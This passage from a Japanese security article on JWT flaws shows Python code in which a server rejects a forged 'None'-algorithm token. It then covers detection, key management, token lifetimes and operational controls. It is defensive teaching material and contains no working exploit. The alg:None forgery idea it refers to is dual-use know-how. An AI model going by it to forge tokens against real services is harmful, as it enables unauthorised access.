# --- サーバー側の安全な検証処理 ---
# 許容するアルゴリズムを明確に指定し、'None'を含めない。
# pyjwtライブラリはデフォルトで 'None' を許可しないため、常にInvalidAlgorithmErrorが発生する。
print("Attempting to verify the hacked 'None' JWT with safe settings...")
try:
# 例えば、HMAC-SHA256を使用している場合
secret_key_hs256 = "super-secret-key-that-is-at-least-32-bytes-long"
decoded_payload_safe_none = jwt.decode(
hacked_jwt_none, # 上記の攻撃者が生成したNone JWT
secret_key_hs256,
algorithms=["HS256"] # Noneは許可しない。他のアルゴリズムも許可する場合はリストに追加。
)
print(f"Safe Server Decoded Payload (None Algorithm):\n{decoded_payload_safe_none}\n")
except jwt.exceptions.InvalidAlgorithmError:
print("Invalid algorithm specified (None Algorithm rejected by safe server as expected).")
print("Verification failed as expected.")
except jwt.exceptions.DecodeError:
print("Invalid JWT format (possibly due to empty signature for None alg or other malformation).")
except Exception as e:
print(f"Error during safe verification of None JWT: {e}")
検出/緩和
検出
JWTログの収集と分析: JWTの検証失敗、無効なアルゴリズム使用(特にalg: None
や未許可のalg
)、期限切れトークン、不適切な鍵ID(kid
クレーム)使用などのイベントをアプリケーションログやWAFログから収集し、SIEM (Security Information and Event Management) などで相関分析を行います。
- 検出遅延の落とし穴: 攻撃者が単一の不正トークンを一度だけ使用した場合、ログ量が少ないと異常検知が困難です。複数のアプリケーションやサービスを横断するログの一元的な収集と、行動分析に基づく異常スコアリング(例: 短時間に多数の検証失敗、異なるIPからの同一ユーザーの検証失敗など)が重要です。
異常なアクセスの監視: 特定ユーザーからの異常な頻度やパターンでのアクセス(例: 複数のIPアドレスからの同時ログイン、通常と異なるユーザーエージェント、地理的に不自然な場所からのアクセス)を検知します。
WAF/API Gatewayの活用: JWTのヘッダーやペイロード構造に対する基本的なバリデーションルールをWAFやAPI Gatewayに設定し、既知の不正フォーマットのトークンをブロックします。例えば、alg
クレームが許可リストに含まれない場合は拒否するルールなどです。
緩和
署名アルゴリズムの固定とホワイトリスト化: サーバー側で許容する署名アルゴリズム(例: RS256
、HS256
、ES256
など)を明確に固定し、JWTヘッダーのalg
パラメータを信頼せず、設定されたアルゴリズムでのみ検証を行います。None
アルゴリズムは絶対に許可しません。これはJWTライブラリのalgorithms
パラメータで設定するのが一般的です。
鍵の厳格な管理:
鍵の生成: 強度の高いエントロピー源から鍵を生成します。HS256の場合は強力な秘密鍵を、RS256/ES256の場合は安全なキーペアを生成します。鍵長も推奨される最小長(例: RSA 2048bit以上、HMAC 256bit以上)を遵守します。
鍵の保存: 署名鍵(特に共通鍵や秘密鍵)は、HSM (Hardware Security Module) や KMS (Key Management Service) などのセキュアな環境に保存し、アプリケーションからは最小限の権限(読み取り専用など)でアクセスさせます。環境変数やコード内に直接ハードコーディングすることは厳禁です。
鍵のローテーション: 定期的に(例: 3ヶ月に一度、またはポリシーに従い)署名鍵をローテーションし、古い鍵を安全に破棄します。鍵のローテーションメカニズムを事前に設計し、ダウンタイムなしで切り替えられるようにします。鍵ID (kid
クレーム) を利用することで、複数の有効な鍵を共存させながらローテーションを安全に行えます。
短寿命トークンの採用: JWTの有効期限(exp
クレーム)を短く設定します(例: 数分から数十分)。これにより、トークンが盗まれた際のリスクウィンドウを最小限に抑えます。長時間のアクセスが必要な場合は、リフレッシュトークンと組み合わせて利用し、リフレッシュトークンはより厳重な管理下に置きます。
JTI (JWT ID) クレームの活用: 各JWTに一意のIDを付与し、サーバー側で既に使用されたJTIを追跡することで、リプレイ攻撃を防ぎます。特に、ログアウト時にJTIをブラックリストに追加するなどの対策は、セッション失効を即座に反映させるために有効です。
Secure/HttpOnlyフラグの設定: ブラウザに保存されるJWT(アクセストークンは避けるべきだが、リフレッシュトークンなどの場合)には、Secure
(HTTPSのみ送信) および HttpOnly
(JavaScriptからのアクセス禁止) フラグを設定します。
- 可用性トレードオフ:
HttpOnly
はクライアントサイドJSからのアクセスを制限するため、SPA (Single Page Application) などでは使用しにくい場合があります。その場合は、JWTをメモリに保持したり、OAuth 2.0の認可コードフロー+PKCEを使用したりするなど、他のセキュリティ対策を強化する必要があります。
TLSの常時使用: JWTは常にTLS/SSLで保護された通信経路で送信されるようにします。これにより、盗聴や中間者攻撃によるトークン窃取を防ぎます。
ライブラリの最新化: 使用するJWTライブラリは常に最新バージョンに保ち、既知の脆弱性修正を適用します。OSSライブラリの場合は、定期的にセキュリティ情報をチェックし、脆弱性が発見された際には速やかに対応します。
運用対策
鍵管理ポリシーの策定と実施:
最小権限の原則: 鍵へのアクセス権限は、必要なプロセスとユーザーにのみ付与し、かつ最小限の権限に制限します。
監査ログ: 鍵の生成、アクセス、ローテーション、破棄などの操作はすべて監査ログに記録し、定期的にレビューします。異常な鍵アクセスを検知した場合のアラート設定も必須です。
緊急時の対応計画: 鍵漏洩が判明した場合の緊急対応計画(鍵の無効化、トークンの強制失効、ユーザーへの通知、影響範囲の特定など)を策定し、定期的に訓練を行います。
セキュリティトレーニング: 開発者に対して、JWTの原理、一般的な脆弱性、安全な実装方法に関する定期的なセキュリティトレーニングを実施します。特に、ライブラリの正しい使い方や、alg
パラメータを信頼してはならない理由などを徹底します。
コードレビューとセキュリティテスト: JWTの生成・検証ロジックを含むコードは、専門家による厳格なコードレビューを実施します。また、ペネトレーションテストや脆弱性スキャンを通じて、潜在的な脆弱性を特定します。自動化されたセキュリティテスト(SAST/DAST)も積極的に導入します。
CDN/WAFのログ監視とチューニング: CDNやWAFのログを継続的に監視し、JWTに関連する異常なリクエストパターン(例: ヘッダー改ざん、非推奨アルゴリズムの使用試行、異常なJWTサイズ)を早期に検出できるよう、ルールをチューニングします。
- 誤検知/過剰ブロックのトレードオフ: セキュリティ強化のためのWAFルールは、正規のリクエストを誤ってブロックする可能性があります。導入前には十分なテストを行い、本番環境での監視を通じて誤検知率を下げつつ、必要なセキュリティレベルを維持するよう継続的にチューニングします。
まとめ
JWTは認証・認可の強力なツールですが、その設計の柔軟性ゆえに多くのセキュリティ上の落とし穴が存在します。特に、alg
パラメータの信頼、鍵管理の不備、トークンの寿命といった基本的な側面の誤用は、重大な脆弱性につながります。本記事で述べた脅威モデル、攻撃シナリオ、検出/緩和策、そして運用対策を徹底することで、JWTを安全にシステムに組み込み、堅牢な認証・認可基盤を構築することができます。常に最新のセキュリティベストプラクティスを追求し、システムのライフサイクル全体を通じてセキュリティを意識した開発・運用を心がけることが重要です。
コメント